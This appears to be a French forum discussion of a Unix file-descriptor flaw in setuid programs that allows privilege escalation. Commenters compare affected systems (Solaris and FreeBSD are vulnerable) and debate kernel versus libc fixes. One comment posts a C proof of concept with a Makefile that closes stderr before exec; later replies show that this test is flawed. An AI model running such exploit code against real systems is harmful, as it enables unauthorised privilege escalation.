Une série de messages de Joost Pol (pine), James Youngman (FreeBSD) et Theo de Raadt (OpenBSD) fait état d'un grave problème dans plusieurs noyaux unix (testé et vérifié sur FreeBSD et Solaris) : les redirections standards (input, output et error) peuvent être détournées par un programme sans privilèges particuliers et ainsi permettre un élévation des droits.
Aller plus loin
# Mise à jour
Posté par nemerid . Évalué à 10.
[^] # Re: Mise à jour
Posté par oliv . Évalué à 10.
[^] # Re: Mise à jour
Posté par rootix . Évalué à 10.
[^] # Re: Mise à jour
Posté par Étienne . Évalué à 10.
[^] # Re: Mise à jour
Posté par icyfemur . Évalué à -3.
# Génant en effet
Posté par Sébastien Rohaut . Évalué à 6.
[^] # Re: Génant en effet
Posté par furai (site web personnel) . Évalué à 10.
[^] # Re: Génant en effet
Posté par Val Erie . Évalué à 2.
proprio 0 - open source 8
... non ???
[^] # Re: Génant en effet
Posté par oliv . Évalué à 4.
OSX, c'est quand même un peu propriétaire, non?
[^] # Re: Génant en effet
Posté par Gaël Le Mignot . Évalué à 1.
[^] # Re: Génant en effet
Posté par Benoît Sibaud (site web personnel) . Évalué à 5.
Debian Potato 2.2.20-smp : non vulnérable
Debian Potato 2.2.19-ide : non vulnérable
Solaris 2.6 : vulnérable
Solaris 2.7 : vulnérable
Solaris 2.8 : vulnérable
[^] # Re: Génant en effet
Posté par pasBill pasGates . Évalué à 3.
Solaris est open-source (mais pas libre)
D'autre part, freeBSD qui est open-source ET libre, est vulnerable
[^] # Re: Génant en effet
Posté par pllevy . Évalué à 2.
AIX 4.3.3.0 Not vulnerable
[^] # Re: Génant en effet
Posté par quad . Évalué à 1.
Cet OS n'a vraiment aucune chance : je l'aime pas et je considère que c'est un vrai danger de l'avoir.
Je ne voterai pas pour lui.
"Toute ressemblance ... etc etc"
--
Ecid
# j'ai teste pour vous sous linux
Posté par lhardy philippe (site web personnel, Mastodon) . Évalué à -5.
copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...
#compromised.c
#include <stdio.h>
int main( int argc, char* argv[]) {
FILE * f = fopen("root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
}
#exploit.c
#include <unistd.h>
#include <stdio.h>
/*
argv[1] should contain global path to compromised program.
*/
int main(int argc, char* argv[]) {
/*
uhm this defeat execl...
while(dup(1) != -1);
*/
close(2);
execl(argv[1],
"this text will endup in the root_owned_file", 0);
}
#Makefile
doit:
gcc compromised.c -o compromised
gcc exploit.c -o exploit
rm -f root_owned_file
touch root_owned_file
./exploit compromised
#test it
make doit
verifiez le contenu de root_owned file !
[^] # Re: j'ai teste pour vous sous linux
Posté par Epsos . Évalué à 10.
Parce que oui, c'est normal que ca marche, c'est la norme POSIX qui veut ca ...
Si je comprend bien, dans exploit.c, tu ferme le canal 2 (stderr), puis tu fais un exec avec comme parametre {compromised, "this text ... root_owned_file"}.
Dans compromised, tu ouvres un fichier. Puisque il n'y a plus de canal 2, le fichier s'ouvre donc sur le canal 2. Du coup, ecrire dans le canal 2 revient a ecrire dans le fichier juste ouvert ...
Rien de neuf sous le soleil.
La le bug qu'on a trouve, c'est que ca marchait aussi dans le cas ou le programme que tu executais (ici, compromised) etait suid.
Je ne vois aucune trace dans ton makefile de :
1 - execution de exploit en user non root
2 - droits suid sur compromised
Avec ces deux cas la reunis, tu pourrais conclure ... Mais pour l'instant ...
A+
[^] # Re: j'ai teste pour vous sous linux
Posté par lhardy philippe (site web personnel, Mastodon) . Évalué à 9.
Ce test ne vaut effectivement rien.
[^] # Re: j'ai teste pour vous sous linux
Posté par DaFrog . Évalué à 6.
Et c'est quoi comme "version" (distrib? noyau?)?
Au fait, si tu fais juste "make doit" ça marche car "root_owned_file" est a toi et pas a root! ;)
"touch root_owned_file" doit etre éxecuté par root (qui devrait avoir un umask tel que le fichier ne soit pas accessible en ecriture pour les autres utilisateurs), alors que "./exploit compromised" doit etre éxecuté par un utilisateur non-privilégié...
DaFrog.
P.S. Chez moi ça ne marche nulle part (diverses Mandrake, Debian et OpenBSD).
# Aucun rapport avec le noyau
Posté par j . Évalué à 10.
Si un programme setuid ne s'assure pas que les descripteurs correspondent bien a ce qui est attendu, _ces programmes_ sont buggues.
Le fait qu'un noyau (OpenBSD) ou la libc (GlibC de Linux, FreeBSD maintenant) prenne le soin de garantir des descripteurs corrects permet de limiter les degats avec les applications mal ecrites. Mais l'OS n'est absolument pas cense effectuer cette operation. Le probleme devrait etre fixe a la base.
Le noyau de Solaris n'est pas "vulnerable" a quoi que ce soit. Si les applications setuid livrees avec Solaris sont bien programmees, il n'y a pas de risque.
[^] # Re: Aucun rapport avec le noyau
Posté par quad . Évalué à 2.
Comme tu l'as bien écrit : le problème doit être
fixé à la base.
Au même titre que certains (bons) un*x interdisent l'exécution de script shell en mode setuid, je trouve que l'OS doit se blinder des conneries^H^H^H^H^H^H^H^H^H erreurs de programmation des applications qui lui sont connexes, sinon c'est "la porte ouverte à toutes les fenêtres". Un OS ne doit jamais faire confiance aux applications : c'est pour ça qu'on a créé la mémoire protégée; pour qu'un soft pondu avec les moufles se plante tout seul sans entraîner le système avec lui.
Bon, je sais, ça rajoute des batteries de tests
dans l'OS, mais la sécurité est à ce prix.
Ecid.
[^] # Re: Aucun rapport avec le noyau
Posté par PLuG . Évalué à 1.
Comment une application (suid ou pas d'ailleur) peut elle se premunir contre cela ?
A priori quand elle ouvre un fichier il obtient le plus petit descripteur disponible (posix), donc eventuellement stderr ou stdout si c'est libre.
du coup tout "printf" est fait dans le fichier, c'est le probleme d'aujourd'hui.
pour s'en premunir, elle pourrait tester que lors de l'ouverture elle obtient bien un id>2 ...
ou ne rien ecrire/lire dans les descripteur par defaut si elle ne fait pas le test.
le plus simple c'est quand meme pour une fois de tester dans le noyau. C'est pas pareil que "la pile non executable" ou le patch ne garanti pas que les exploits n'auront pas lieu.
Ici la correction noyau est efficace, par contre le test dans le kernel devrait peut etre (en plus) sortir un gros warning dans les logs de manière a attirer l'attention des developpeurs ...
[^] # Re: Aucun rapport avec le noyau
Posté par j . Évalué à 2.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.